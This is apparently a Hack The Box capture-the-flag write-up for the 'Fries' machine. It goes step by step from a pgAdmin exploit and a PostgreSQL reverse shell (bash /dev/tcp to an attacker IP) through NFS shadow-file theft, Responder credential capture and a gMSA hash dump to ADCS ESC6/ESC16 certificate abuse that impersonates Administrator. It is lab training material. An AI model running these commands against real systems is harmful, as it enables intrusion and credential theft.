HTB Fries - Complete Writeup
Hard Difficulty | Windows Server 2019 DC + Linux Docker Host

Box Information
- **Name**: Fries
- **Difficulty**: Hard
- **OS**: Windows Server 2019 (DC) + Linux (Docker host)
- **Domain**: fries.htb
- **Initial Credentials**: d.cooper@fries.htb / D4LE11maan!!

Exploitation Summary
1. Reconnaissance and initial access via pgAdmin
2. PostgreSQL RCE and container shell
3. NFS exploration and file retrieval
4. LDAP credentials capture via Responder
5. GMSA password dump
6. CA configuration for ESC6 + ESC16
7. Administrator certificate request
8. Authentication and flag retrieval

---

1. Initial Reconnaissance

Port Scan
```bash
nmap -sS -p- --min-rate 10000 <IP_Machine> -oN nmap_initial.txt
nmap -sC -sV -p 22,53,80,88,135,139,389,443,445,464,593,636,2179,3268,3269,5985 <IP_Mac
```

Important Discovered Ports:

- `22/tcp` : SSH (Ubuntu)
- `80/tcp` : HTTP - Fries restaurant website
- `88/tcp` : Kerberos
- `135,139,445/tcp` : SMB/RPC
- `389,636,3268,3269/tcp` : LDAP/LDAPS (Active Directory)
- `443/tcp` : HTTPS - pwm.fries.htb (Password Manager)
- `5985/tcp` : WinRM

Hosts File Entry

bash

```
echo "<IP_Machine> fries.htb dc01.fries.htb pwm.fries.htb db-mgmt05.fries.htb" >> /etc/
```

2. Initial Access - pgAdmin

pgAdmin Discovery

Initial credentials `d.cooper@fries.htb / D4LE11maan!!` work on `code.fries.htb`. Git repository reveals database credentials in environment variables.

pgAdmin Exploitation with Metasploit

bash

```
msfconsole
use exploit/multi/http/pgadmin_query_tool_authenticated
set RHOSTS db-mgmt05.fries.htb
set USERNAME d.cooper@fries.htb
set PASSWORD D4LE11maan!!
set DB_USER root
set DB_PASS [DB_PASSWORD]
set DB_NAME ps_db
set LHOST <IP>
set LPORT 4444
exploit
```

Result: Shell in pgAdmin container as `pgadmin`. Container environment variables reveal pgAdmin web interface credentials.

3. PostgreSQL RCE and Postgres Shell

Access to pgAdmin Web Interface

Direct access to `http://db-mgmt05.fries.htb` using credentials found in container environment.

RCE via Query Tool

1. **Add PostgreSQL Server:**
   - Host: `172.18.0.3`
   - Port: `5432`
   - Database: `ps_db`
   - Username: `root`
   - Password: `[DB_PASSWORD]`
2. **Command Execution:**

sql

```
DROP TABLE IF EXISTS cmd_test;
CREATE TABLE cmd_test(output text);
COPY cmd_test FROM PROGRAM 'whoami';
SELECT * FROM cmd_test;
```

3. **Reverse Shell:**

sql

```
DROP TABLE IF EXISTS cmd;
CREATE TABLE cmd(output text);
COPY cmd FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/<IP>/4445 0>&1"';
```

Listener:

bash

```
nc -lvnp 4445
```

Result: Shell as `postgres` in PostgreSQL container (`172.18.0.3`).

---

4. Docker Network Exploration

Shell Improvement

bash

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
cd /tmp
```

Discovery of Tools

In postgres container `~/data` directory:

- `chisel` - Tunneling tool
- Potential for NFS client exploration

nfsclient Download

bash

```
cd /tmp
# Download with Perl (curl not available)
perl -MIO::Socket::INET -e '$s=IO::Socket::INET->new("<IP>:8000");print $s "GET /nfscli
chmod +x nfsclient
```

On Kali:

bash

```
wget https://github.com/sahlberg/libnfs/releases/download/libnfs-5.0.3/nfsclient-linux-
python3 -m http.server 8000
```

```
python3 -m http.server 8000
```

NFS Share Exploration

bash

```
./nfsclient 172.18.0.1:/srv/web.fries.htb root:0:59605603 ls
```

Directories found: `certs/` , `shared/` , `webroot/`

Retrieval of Certificates and Sensitive Files

bash

```
# List certs directory
./nfsclient 172.18.0.1:/srv/web.fries.htb root:0:59605603 ls certs/

# Retrieve system files
./nfsclient 172.18.0.1:/srv/web.fries.htb root:0:59605603 get certs/shadow /tmp/shadow
./nfsclient 172.18.0.1:/srv/web.fries.htb root:0:59605603 get certs/passwd /tmp/passwd
```

---

5. Host Filesystem Access via NFS

nfs-security-tooling Installation

bash

```
cd /tmp
git clone https://github.com/hvs-consulting/nfs-security-tooling
cd nfs-security-tooling
sudo apt update
sudo apt install pkg-config libfuse3-dev python3-dev
pipx install git+https://github.com/hvs-consulting/nfs-security-tooling.git
```

NFS Forward with Chisel

In postgres shell:

bash

```
cd ~/data
./chisel client <IP>:8080 R:111:172.18.0.1:111 R:2049:172.18.0.1:2049 &
```

On Kali (chisel server):

bash

```
./chisel server -p 8080 --reverse
```

Analysis and NFS Mounting

bash

```
# Find root file handle
nfs_analyze 127.0.0.1 /srv/web.fries.htb

# Mount with fuse_nfs
mkdir -p /tmp/mount3
fuse_nfs /tmp/mount3/ 127.0.0.1 --fake-uid --allow-write --manual-fh [FILE_HANDLE]
```

Retrieval of Sensitive Files

bash

```
cd /tmp/mount3
cat etc/shadow > /tmp/shadow
cat etc/passwd > /tmp/passwd
cp -r srv/web.fries.htb/certs/* ~/certs/
```

Use hashcat/john to crack passwords for PWM access.

---

6. LDAP Credentials Capture - Responder Attack

Access to PWM (Password Manager)

Access `https://pwm.fries.htb` with cracked credentials.

PWM Configuration Download

Download `PwmConfiguration.xml` from configuration manager.

Configuration Modification

bash

```
nano /tmp/PwmConfig_original.xml
```

Find and replace:

xml

```
<setting key="ldap.serverUrls">
    <value>ldap://<IP>:389</value>
</setting>
```

Starting Responder

bash

```
sudo responder -I tun0 -v
```

Upload Modified Configuration

Upload modified `PwmConfiguration.xml` through PWM web interface.

Trigger Connection

Access `https://pwm.fries.htb` or restart PWM service.

Result: Responder captures cleartext credentials for `svc_infra` account.

---

7. Enumeration with svc_infra

GMSA Password Dump

bash

```
bloodyAD -host <IP_Machine> -d fries.htb -u 'svc_infra' -p '[PASSWORD_SVC_INFRA]' get s
```

Result: GMSA account name (`gMSA_CA_prod$`) and NTLM hash.

WinRM Connection with gMSA

bash

```
evil-winrm -i <IP_Machine> -u 'gMSA_CA_prod$' -H '[NTLM_HASH_GMSA]'
```

Result: WinRM access as `FRIES\gMSA_CA_prod$`

---

8. CA Permissions Enumeration

Permission Verification

In WinRM:

bash

```
upload /path/to/Certify.exe
.\Certify.exe cas
```

Important Results:

- `gMSA_CA_prod$` has `ManageCA` and `Enroll` rights
- Can manage CA but no enrollment rights on most templates
- Accessible templates: `Machine` (Domain Computers), `User` (Domain Users)

GMSA Groups Verification

bash

```
whoami /groups
```

Membership:

- `FRIES\Domain Computers`

- `BUILTIN\Remote Management Users`
- `NT AUTHORITY\Authenticated Users`

Important: GMSA is in `Domain Computers`, NOT `Domain Users`!

---

9. CA Configuration for ESC6 + ESC16

ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2

PowerShell Commands:

powershell

```
$CA = New-Object -ComObject CertificateAuthority.Admin
$Config = "DC01.fries.htb\fries-DC01-CA"

# Calculate new value
$current = 1114446
$new = $current -bor 0x00040000  # Add EDITF_ATTRIBUTESUBJECTALTNAME2 flag (262144)
# New value = 1376590 (0x15014E)

# Apply modification
$CA.SetConfigEntry($Config, "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy

# Restart CA service
Restart-Service certsvc -Force
```

Verification:

bash

```
certutil -config "DC01.fries.htb\fries-DC01-CA" -getreg policy\EditFlags
```

ESC16 - Disable Extension List

PowerShell Commands:

powershell

```
$CA = New-Object -ComObject CertificateAuthority.Admin
$Config = "DC01.fries.htb\fries-DC01-CA"

# Disable validation of extension 1.3.6.1.4.1.311.25.2 (szOID_NTDS_CA_SECURITY_EXT)
$CA.SetConfigEntry($Config, "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy

# Restart CA service
Restart-Service certsvc -Force
```

Verification:

bash

```
certutil -config "DC01.fries.htb\fries-DC01-CA" -getreg policy\DisableExtensionList
```

Why These Misconfigurations?

- **ESC6**: Allows specifying arbitrary UPN (e.g., administrator@fries.htb)
- **ESC16**: Prevents SID validation, allowing identity impersonation
- **Combined**: Enables requesting certificates for any user

---

10. ESC6 + ESC16 Exploitation

Problem: gMSA Cannot Enroll

- `gMSA_CA_prod$` can configure CA but cannot enroll on User template
- Can enroll on Machine template but requires SYSTEM rights

Solution: Use svc_infra

- `svc_infra` is normal user (Domain Users)
- Can enroll on User template
- Can request certificate with alternative UPN (thanks to ESC6)

Certificate Request for Administrator

Time Synchronization:

bash

```bash
sudo ntpdate <IP_Machine>
```

Certificate Request:

bash

```bash
certipy-ad req -u 'svc_infra@fries.htb' -p '[PASSWORD_SVC_INFRA]' -dc-ip <IP_Machine> -
```

Important Parameters:

- `-template 'User'` : Template svc_infra can enroll on
- `-upn 'administrator@fries.htb'` : Administrator's UPN (ESC6)
- `-sid '[ADMINISTRATOR_SID]'` : Administrator's SID (ends in -500)

Result: Certificate saved as `administrator.pfx`

---

11. Authentication as Administrator

TGT and NTLM Hash Retrieval

TGT and NTLM Hash Retrieval

bash

```
certipy-ad auth -pfx administrator.pfx -dc-ip <IP_Machine>
```

Result: Retrieves Administrator's NTLM hash via PKINIT authentication.

WinRM Connection as Administrator

bash

```
evil-winrm -i <IP_Machine> -u 'administrator' -H '[NTLM_HASH_ADMINISTRATOR]'
```

Result: Full access to DC as `FRIES\Administrator`

---

12. Flag Retrieval

User Flag

cmd

```
type C:\Users\Administrator\Desktop\user.txt
```

Root Flag

cmd

```
type C:\Users\Administrator\Desktop\root.txt
```

Techniques Used

1. **Container Escape**: pgAdmin → PostgreSQL → Docker Host
2. **NFS Exploitation**: Filesystem access with fake root UID
3. **LDAP Credential Capture**: Config modification + Responder
4. **GMSA Password Dump**: Reading msDS-ManagedPassword via LDAP
5. **ESC6 (EDITF_ATTRIBUTESUBJECTALTNAME2)**: Allows arbitrary SAN
6. **ESC16 (DisableExtensionList)**: Disables SID validation
7. **Pass-the-Certificate**: Kerberos PKINIT authentication

Key Points

Why ESC7 Doesn't Work

- GMSA has ManageCA rights but CA not configured for enrollment agent workflow

- ESC7 requires templates configured for enrollment agent
- Additional permissions not present

Why Use svc_infra for Certificate Request

- gMSA_CA_prod$ in Domain Computers, not Domain Users
- User template only accepts enrollment from Domain Users
- Machine template requires SYSTEM rights
- svc_infra is normal user in Domain Users

Importance of ESC16

- Without ESC16: DC verifies SID in certificate matches requesting user
- With ESC16: Verification disabled
- Allows impersonating Administrator with certificate requested by svc_infra

RPC Problems from Kali

- RPC connections from Kali failed with connection refused
- Solution: Request certificates from WinRM session
- Time synchronization and using -dc-ip resolved issues

Your privacy is protected! No data is transmitted or stored.